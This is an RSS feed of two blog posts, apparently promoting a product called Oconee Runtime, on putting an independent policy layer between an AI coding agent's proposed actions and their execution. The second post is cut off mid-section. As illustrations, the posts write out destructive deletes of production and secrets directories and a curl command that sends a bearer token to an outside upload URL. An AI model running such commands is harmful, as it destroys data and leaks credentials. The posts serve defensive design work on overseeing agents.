<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Hthomas4</title>
    <description>The latest articles on DEV Community by Hthomas4 (@hthomas4).</description>
    <link>https://dev.to/hthomas4</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4101548%2Feafdff06-813a-4d67-9a96-4fd0db296ba6.png</url>
      <title>DEV Community: Hthomas4</title>
      <link>https://dev.to/hthomas4</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/hthomas4"/>
    <language>en</language>
    <item>
      <title>How Runtime Policy Enforcement Works Around AI Agent Actions</title>
      <dc:creator>Hthomas4</dc:creator>
      <pubDate>Fri, 04 Sep 2026 12:27:18 +0000</pubDate>
      <link>https://dev.to/hthomas4/how-runtime-policy-enforcement-works-around-ai-agent-actions-p4e</link>
      <guid>https://dev.to/hthomas4/how-runtime-policy-enforcement-works-around-ai-agent-actions-p4e</guid>
      <description>&lt;p&gt;AI assistants used to have a relatively simple security boundary.&lt;/p&gt;

&lt;p&gt;A user submitted a prompt. A model generated a response. The response was displayed to the user.&lt;/p&gt;

&lt;p&gt;That model is changing.&lt;/p&gt;

&lt;p&gt;Coding agents and other agentic AI systems can now execute commands, modify files, install dependencies, call external tools, interact with repositories, and perform multi-step workflows.&lt;/p&gt;

&lt;p&gt;That introduces a different security question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the agent actually allowed to do?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Prompt filtering is still important, but once an AI system can take actions, security also needs to exist between the agent's decision and execution.&lt;/p&gt;

&lt;p&gt;That's where runtime policy enforcement comes in.&lt;/p&gt;

&lt;h2&gt;
  
  
  From model output to agent action
&lt;/h2&gt;

&lt;p&gt;Consider a coding agent that decides it needs to execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;some-package
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The traditional flow might look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User
  ↓
Prompt
  ↓
Model
  ↓
Agent
  ↓
Tool / Shell
  ↓
Execution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent reasons that installing the package is necessary and invokes the appropriate tool.&lt;/p&gt;

&lt;p&gt;But the model's decision to perform an action shouldn't necessarily be the same thing as authorization to perform it.&lt;/p&gt;

&lt;p&gt;A runtime governance layer changes the execution path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User
  ↓
Prompt
  ↓
Model
  ↓
Agent
  ↓
Proposed Action
  ↓
Policy Evaluation
  ↓
ALLOW / WARN / BLOCK
  ↓
Execution
  ↓
Audit Evidence
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important distinction is that &lt;strong&gt;the agent proposes an action; an independent policy boundary determines whether that action should proceed.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  An action needs more context than the command itself
&lt;/h2&gt;

&lt;p&gt;A policy engine shouldn't evaluate only:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install some-package
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same command can have very different risk depending on where and how it's being executed.&lt;/p&gt;

&lt;p&gt;A useful policy decision might consider:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Actor
Agent
Action
Resource
Environment
Repository
Tool
Risk
Policy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Actor:      developer@example.com
Agent:      coding-agent
Action:     dependency_install
Resource:   npm package
Repository: prototype-app
Context:    development
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The policy might return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WARN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now imagine the same action against a critical production repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Actor:      developer@example.com
Agent:      coding-agent
Action:     dependency_install
Resource:   npm package
Repository: payments-service
Context:    production-critical
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The decision could instead be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BLOCK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same action.&lt;/p&gt;

&lt;p&gt;Different context.&lt;/p&gt;

&lt;p&gt;Different policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why not just ALLOW or BLOCK?
&lt;/h2&gt;

&lt;p&gt;Binary authorization works well for many traditional systems, but AI-assisted workflows can benefit from an intermediate state.&lt;/p&gt;

&lt;p&gt;A useful model is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ALLOW
WARN
BLOCK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ALLOW&lt;/strong&gt; means the action satisfies policy and can continue.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WARN&lt;/strong&gt; means the action presents some risk, but execution may continue after notifying the user or requiring acknowledgement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BLOCK&lt;/strong&gt; means the action violates policy and execution should not proceed.&lt;/p&gt;

&lt;p&gt;Some environments can extend this further:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ALLOW
WARN
APPROVAL_REQUIRED
BLOCK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That allows higher-risk actions to be escalated to a human or another authorization system.&lt;/p&gt;

&lt;h2&gt;
  
  
  Policy should be independent from the agent
&lt;/h2&gt;

&lt;p&gt;This is an important architectural property.&lt;/p&gt;

&lt;p&gt;Suppose the same AI agent that decides:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I need to modify this file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;also decides:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;I'm authorized to modify this file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent effectively becomes its own security boundary.&lt;/p&gt;

&lt;p&gt;That's dangerous.&lt;/p&gt;

&lt;p&gt;A stronger architecture separates reasoning from authorization:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AI proposes.
Policy decides.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent can remain highly capable while its authority remains constrained by an independent system.&lt;/p&gt;

&lt;p&gt;This is similar to security patterns we already use elsewhere.&lt;/p&gt;

&lt;p&gt;Applications don't generally decide whether their users should have unrestricted database access. Operating systems don't let arbitrary processes decide their own permissions.&lt;/p&gt;

&lt;p&gt;Agentic systems shouldn't be fundamentally different.&lt;/p&gt;

&lt;h2&gt;
  
  
  What exactly can be governed?
&lt;/h2&gt;

&lt;p&gt;For coding agents, the policy boundary can potentially cover several classes of actions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Shell commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; ./directory
curl ...
npm &lt;span class="nb"&gt;install&lt;/span&gt; ...
terraform apply
kubectl delete ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Policies can evaluate command type, arguments, environment, identity, repository, and other context.&lt;/p&gt;

&lt;h3&gt;
  
  
  File operations
&lt;/h3&gt;

&lt;p&gt;An agent might attempt to modify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;README.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those should not necessarily receive the same authorization decision.&lt;/p&gt;

&lt;h3&gt;
  
  
  Repository actions
&lt;/h3&gt;

&lt;p&gt;Actions such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;commit
push
merge
branch deletion
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;can be evaluated against repository sensitivity and organizational policy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool calls
&lt;/h3&gt;

&lt;p&gt;Agents increasingly interact with external tools and services.&lt;/p&gt;

&lt;p&gt;A policy decision can consider:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Which agent is calling the tool?
Which tool is being invoked?
Which resource will it access?
What action is being requested?
What environment is involved?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This becomes especially important as MCP and other agent-tool interfaces expand what agents can access.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prompt security and action security solve different problems
&lt;/h2&gt;

&lt;p&gt;Prompt injection defenses attempt to determine whether instructions entering or influencing a model are malicious.&lt;/p&gt;

&lt;p&gt;That's necessary.&lt;/p&gt;

&lt;p&gt;But consider this sequence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Benign Prompt
      ↓
Valid Model Reasoning
      ↓
Legitimate Agent Goal
      ↓
Dangerous Action
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing requires the original prompt to be malicious.&lt;/p&gt;

&lt;p&gt;The agent could simply make an unsafe decision, misunderstand context, operate with excessive permissions, or attempt an action that organizational policy doesn't permit.&lt;/p&gt;

&lt;p&gt;That's why:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A safe prompt does not guarantee a safe execution path.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Prompt security protects one part of the system.&lt;/p&gt;

&lt;p&gt;Runtime authorization protects another.&lt;/p&gt;

&lt;p&gt;The two should complement each other.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enforcement also needs evidence
&lt;/h2&gt;

&lt;p&gt;Blocking an action is only part of governance.&lt;/p&gt;

&lt;p&gt;Organizations also need to know what happened.&lt;/p&gt;

&lt;p&gt;A useful event record might contain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"actor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"developer@example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"agent"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"coding-agent"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dependency_install"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"some-package"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"repository"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"payments-service"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"environment"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"production"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"policy"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"critical-repo-dependency-policy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"decision"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"BLOCK"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a record of:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Who
↓
Using which agent
↓
Attempted what action
↓
Against which resource
↓
Under what context
↓
Which policy applied
↓
What decision was made
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That evidence becomes useful for security investigations, compliance, policy tuning, and understanding how AI systems are actually behaving inside an organization.&lt;/p&gt;

&lt;h2&gt;
  
  
  Runtime governance isn't observability
&lt;/h2&gt;

&lt;p&gt;Observability answers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What did the agent do?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Runtime governance adds another question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What should the agent be allowed to do?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The distinction becomes important as AI systems gain more authority.&lt;/p&gt;

&lt;p&gt;An organization may eventually have excellent telemetry showing that an agent deleted a resource, modified a sensitive file, or invoked a dangerous tool.&lt;/p&gt;

&lt;p&gt;That's useful after the fact.&lt;/p&gt;

&lt;p&gt;But sometimes the desired outcome is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Agent attempts action
        ↓
Policy evaluates action
        ↓
BLOCK
        ↓
Action never executes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Visibility tells you what happened.&lt;/p&gt;

&lt;p&gt;Enforcement can change what happens.&lt;/p&gt;

&lt;h2&gt;
  
  
  The authorization boundary is moving
&lt;/h2&gt;

&lt;p&gt;As agents become more capable, the security boundary increasingly moves beyond prompts and model responses.&lt;/p&gt;

&lt;p&gt;We need to reason about:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Actor
  ↓
Agent
  ↓
Action
  ↓
Resource
  ↓
Context
  ↓
Policy
  ↓
Decision
  ↓
Evidence
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That doesn't mean agents should become less capable.&lt;/p&gt;

&lt;p&gt;It means &lt;strong&gt;agent intelligence and agent authority should be treated as separate concerns.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An agent may be capable of executing a command, modifying a repository, invoking a tool, or accessing a resource.&lt;/p&gt;

&lt;p&gt;Whether it should be permitted to do so is an authorization decision.&lt;/p&gt;

&lt;p&gt;And as AI systems move from generating answers to taking actions, that authorization layer is going to become increasingly important.&lt;/p&gt;

&lt;p&gt;About Oconee Runtime&lt;/p&gt;

&lt;p&gt;I’m building Oconee Runtime and exploring how runtime governance should work as AI systems move from generating responses to taking real actions.&lt;/p&gt;

&lt;p&gt;The goal is to give teams visibility into AI activity and an independent policy layer for governing actions across AI tools, coding agents, and engineering workflows.&lt;/p&gt;

&lt;p&gt;If you’re working on agent security, AI governance, or authorization for AI actions, I’d be interested in hearing how you’re approaching the problem.&lt;/p&gt;

&lt;p&gt;AI proposes. Policy decides.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4opr0aoj5u49g1dpkzjo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4opr0aoj5u49g1dpkzjo.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>llm</category>
      <category>security</category>
    </item>
    <item>
      <title>What Happens Between an AI Agent Generating a Command and Executing It?</title>
      <dc:creator>Hthomas4</dc:creator>
      <pubDate>Sun, 30 Aug 2026 16:00:34 +0000</pubDate>
      <link>https://dev.to/hthomas4/what-happens-between-an-ai-agent-generating-a-command-and-executing-it-4ajm</link>
      <guid>https://dev.to/hthomas4/what-happens-between-an-ai-agent-generating-a-command-and-executing-it-4ajm</guid>
      <description>&lt;p&gt;AI coding agents can generate shell commands, modify files, invoke tools, and interact with repositories. The interesting security question is what happens in the milliseconds between deciding on an action and actually performing it.&lt;/p&gt;

&lt;p&gt;Consider a coding agent working on a routine task.&lt;/p&gt;

&lt;p&gt;You tell it:&lt;/p&gt;

&lt;p&gt;“Clean up the old build artifacts and fix the deployment script.”&lt;/p&gt;

&lt;p&gt;The agent inspects the repository, reasons about the task, and eventually decides to execute:&lt;/p&gt;

&lt;p&gt;rm -rf ./dist&lt;/p&gt;

&lt;p&gt;In a development workspace, that might be exactly what you want.&lt;/p&gt;

&lt;p&gt;Now change one detail:&lt;/p&gt;

&lt;p&gt;rm -rf ./production&lt;/p&gt;

&lt;p&gt;Or:&lt;/p&gt;

&lt;p&gt;curl -H "Authorization: Bearer $TOKEN" \&lt;br&gt;
  &lt;a href="https://external-example.com/upload" rel="noopener noreferrer"&gt;https://external-example.com/upload&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or:&lt;/p&gt;

&lt;p&gt;npm install some-untrusted-package&lt;/p&gt;

&lt;p&gt;The important security question isn’t just:&lt;/p&gt;

&lt;p&gt;Why did the model generate this command?&lt;/p&gt;

&lt;p&gt;There’s another question:&lt;/p&gt;

&lt;p&gt;What happens between the agent generating the command and the operating system executing it?&lt;/p&gt;

&lt;p&gt;In many agent architectures, the answer is effectively:&lt;/p&gt;

&lt;p&gt;Model decides&lt;br&gt;
    ↓&lt;br&gt;
Agent invokes tool&lt;br&gt;
    ↓&lt;br&gt;
Tool executes&lt;/p&gt;

&lt;p&gt;That’s an extremely important boundary.&lt;/p&gt;

&lt;p&gt;Because once AI moves from generating actions to executing them, model security becomes an authorization problem too.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Generation and Execution Are Different Security Events&lt;/p&gt;

&lt;p&gt;A language model generating:&lt;/p&gt;

&lt;p&gt;rm -rf ./important-directory&lt;/p&gt;

&lt;p&gt;isn’t necessarily a security incident.&lt;/p&gt;

&lt;p&gt;It’s text.&lt;/p&gt;

&lt;p&gt;The command becomes consequential when something executes it.&lt;/p&gt;

&lt;p&gt;That’s the difference between a traditional coding assistant and an increasingly autonomous coding agent.&lt;/p&gt;

&lt;p&gt;A coding assistant might produce:&lt;/p&gt;

&lt;p&gt;You can fix this by running:&lt;br&gt;
npm install package-x&lt;/p&gt;

&lt;p&gt;The developer evaluates the recommendation and decides whether to execute it.&lt;/p&gt;

&lt;p&gt;But an agent with shell access may do this:&lt;/p&gt;

&lt;p&gt;User Request&lt;br&gt;
     ↓&lt;br&gt;
Agent Reasoning&lt;br&gt;
     ↓&lt;br&gt;
Generate Command&lt;br&gt;
     ↓&lt;br&gt;
Execute Command&lt;/p&gt;

&lt;p&gt;The human decision point has potentially disappeared.&lt;/p&gt;

&lt;p&gt;That changes where security controls need to exist.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;What Does an Agent Actually Do?&lt;/p&gt;

&lt;p&gt;The implementation varies by agent, but conceptually an agentic coding loop looks something like:&lt;/p&gt;

&lt;p&gt;┌───────────────────┐&lt;br&gt;
│ User Task         │&lt;br&gt;
└─────────┬─────────┘&lt;br&gt;
          ↓&lt;br&gt;
┌───────────────────┐&lt;br&gt;
│ Model Reasoning   │&lt;br&gt;
└─────────┬─────────┘&lt;br&gt;
          ↓&lt;br&gt;
┌───────────────────┐&lt;br&gt;
│ Select Tool       │&lt;br&gt;
└─────────┬─────────┘&lt;br&gt;
          ↓&lt;br&gt;
┌───────────────────┐&lt;br&gt;
│ Construct Action  │&lt;br&gt;
└─────────┬─────────┘&lt;br&gt;
          ↓&lt;br&gt;
┌───────────────────┐&lt;br&gt;
│ Execute Tool      │&lt;br&gt;
└─────────┬─────────┘&lt;br&gt;
          ↓&lt;br&gt;
┌───────────────────┐&lt;br&gt;
│ Observe Result    │&lt;br&gt;
└─────────┬─────────┘&lt;br&gt;
          ↓&lt;br&gt;
     Continue Loop&lt;/p&gt;

&lt;p&gt;The tool might be:&lt;/p&gt;

&lt;p&gt;shell&lt;br&gt;
filesystem&lt;br&gt;
Git&lt;br&gt;
GitHub&lt;br&gt;
HTTP client&lt;br&gt;
database&lt;br&gt;
MCP server&lt;br&gt;
cloud API&lt;br&gt;
CI/CD system&lt;/p&gt;

&lt;p&gt;And the proposed action might be:&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "tool": "shell",&lt;br&gt;
  "command": "npm install package-x"&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Or:&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "tool": "filesystem",&lt;br&gt;
  "operation": "delete",&lt;br&gt;
  "path": "/production/config.json"&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Or:&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "tool": "git",&lt;br&gt;
  "operation": "push",&lt;br&gt;
  "branch": "main"&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;The model has effectively produced a structured request for the surrounding system to perform an operation.&lt;/p&gt;

&lt;p&gt;That’s where things get interesting.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;There Is a Security Boundary Hiding in the Agent Loop&lt;/p&gt;

&lt;p&gt;Suppose an agent proposes:&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "operation": "delete_file",&lt;br&gt;
  "resource": "/production/config.json"&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;There are two possible architectures.&lt;/p&gt;

&lt;p&gt;Architecture A&lt;/p&gt;

&lt;p&gt;Agent&lt;br&gt;
  ↓&lt;br&gt;
Tool&lt;br&gt;
  ↓&lt;br&gt;
Execution&lt;/p&gt;

&lt;p&gt;The agent decides what should happen, and the system performs it.&lt;/p&gt;

&lt;p&gt;Architecture B&lt;/p&gt;

&lt;p&gt;Agent&lt;br&gt;
  ↓&lt;br&gt;
Proposed Action&lt;br&gt;
  ↓&lt;br&gt;
Authorization&lt;br&gt;
  ↓&lt;br&gt;
Tool&lt;br&gt;
  ↓&lt;br&gt;
Execution&lt;/p&gt;

&lt;p&gt;That extra step changes the security model considerably.&lt;/p&gt;

&lt;p&gt;Now the system can ask questions independently of the model:&lt;/p&gt;

&lt;p&gt;Who initiated this task?&lt;br&gt;
Which agent is acting?&lt;br&gt;
What action is being requested?&lt;br&gt;
What resource will be affected?&lt;br&gt;
Which environment is this?&lt;br&gt;
What permissions does the agent have?&lt;br&gt;
What organizational policy applies?&lt;br&gt;
Does this require human approval?&lt;/p&gt;

&lt;p&gt;Only then does execution occur.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;The Model Should Propose. Something Else Should Decide.&lt;/p&gt;

&lt;p&gt;This separation already exists throughout computer security.&lt;/p&gt;

&lt;p&gt;Applications don’t normally decide their own database permissions.&lt;/p&gt;

&lt;p&gt;Users don’t decide whether their own credentials are valid.&lt;/p&gt;

&lt;p&gt;Processes don’t get unrestricted access merely because they request it.&lt;/p&gt;

&lt;p&gt;We have independent authorization systems for a reason.&lt;/p&gt;

&lt;p&gt;Agents should follow the same principle.&lt;/p&gt;

&lt;p&gt;Imagine:&lt;/p&gt;

&lt;p&gt;Agent:&lt;br&gt;
delete_file("/production/config.json")&lt;br&gt;
        ↓&lt;br&gt;
Policy Engine:&lt;br&gt;
resource = production&lt;br&gt;
action = delete&lt;br&gt;
actor = coding-agent&lt;br&gt;
risk = critical&lt;br&gt;
        ↓&lt;br&gt;
Decision:&lt;br&gt;
DENY&lt;/p&gt;

&lt;p&gt;The agent can disagree.&lt;/p&gt;

&lt;p&gt;It doesn’t matter.&lt;/p&gt;

&lt;p&gt;The authorization boundary exists outside the model.&lt;/p&gt;

&lt;p&gt;That’s the important property.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Context Changes the Decision&lt;/p&gt;

&lt;p&gt;Here’s another complication.&lt;/p&gt;

&lt;p&gt;Commands aren’t inherently safe or unsafe.&lt;/p&gt;

&lt;p&gt;Consider:&lt;/p&gt;

&lt;p&gt;rm -rf ./build&lt;/p&gt;

&lt;p&gt;Should that be allowed?&lt;/p&gt;

&lt;p&gt;It depends.&lt;/p&gt;

&lt;p&gt;If the agent is operating inside:&lt;/p&gt;

&lt;p&gt;~/projects/test-app/build&lt;/p&gt;

&lt;p&gt;probably.&lt;/p&gt;

&lt;p&gt;If it’s operating inside:&lt;/p&gt;

&lt;p&gt;/production/customer-data/build&lt;/p&gt;

&lt;p&gt;perhaps not.&lt;/p&gt;

&lt;p&gt;The command is identical.&lt;/p&gt;

&lt;p&gt;The context isn’t.&lt;/p&gt;

&lt;p&gt;So authorization might evaluate something closer to:&lt;/p&gt;

&lt;p&gt;Actor&lt;br&gt;
+&lt;br&gt;
Action&lt;br&gt;
+&lt;br&gt;
Resource&lt;br&gt;
+&lt;br&gt;
Environment&lt;br&gt;
+&lt;br&gt;
Permissions&lt;br&gt;
+&lt;br&gt;
Context&lt;br&gt;
+&lt;br&gt;
Policy&lt;/p&gt;

&lt;p&gt;And produce:&lt;/p&gt;

&lt;p&gt;ALLOW&lt;br&gt;
WARN&lt;br&gt;
REQUIRE_APPROVAL&lt;br&gt;
BLOCK&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;Scratch repository&lt;br&gt;
rm -rf ./build&lt;br&gt;
→ ALLOW&lt;br&gt;
Development repository&lt;br&gt;
rm -rf ./build&lt;br&gt;
→ WARN&lt;br&gt;
Critical production repository&lt;br&gt;
rm -rf ./build&lt;br&gt;
→ REQUIRE_APPROVAL&lt;br&gt;
Protected resource&lt;br&gt;
rm -rf ./secrets&lt;br&gt;
→ BLOCK&lt;/p&gt;

&lt;p&gt;Same action. Different context. Different policy.&lt;/p&gt;

&lt;p&gt;⸻&lt;/p&gt;

&lt;p&gt;Why Prompt Filtering Doesn’t Solve This&lt;/p&gt;

&lt;p&gt;The obvious response might be:&lt;/p&gt;

&lt;p&gt;“Shouldn’t we just prevent the model from generating dangerous commands?”&lt;/p&gt;

&lt;p&gt;We should certainly try.&lt;/p&gt;

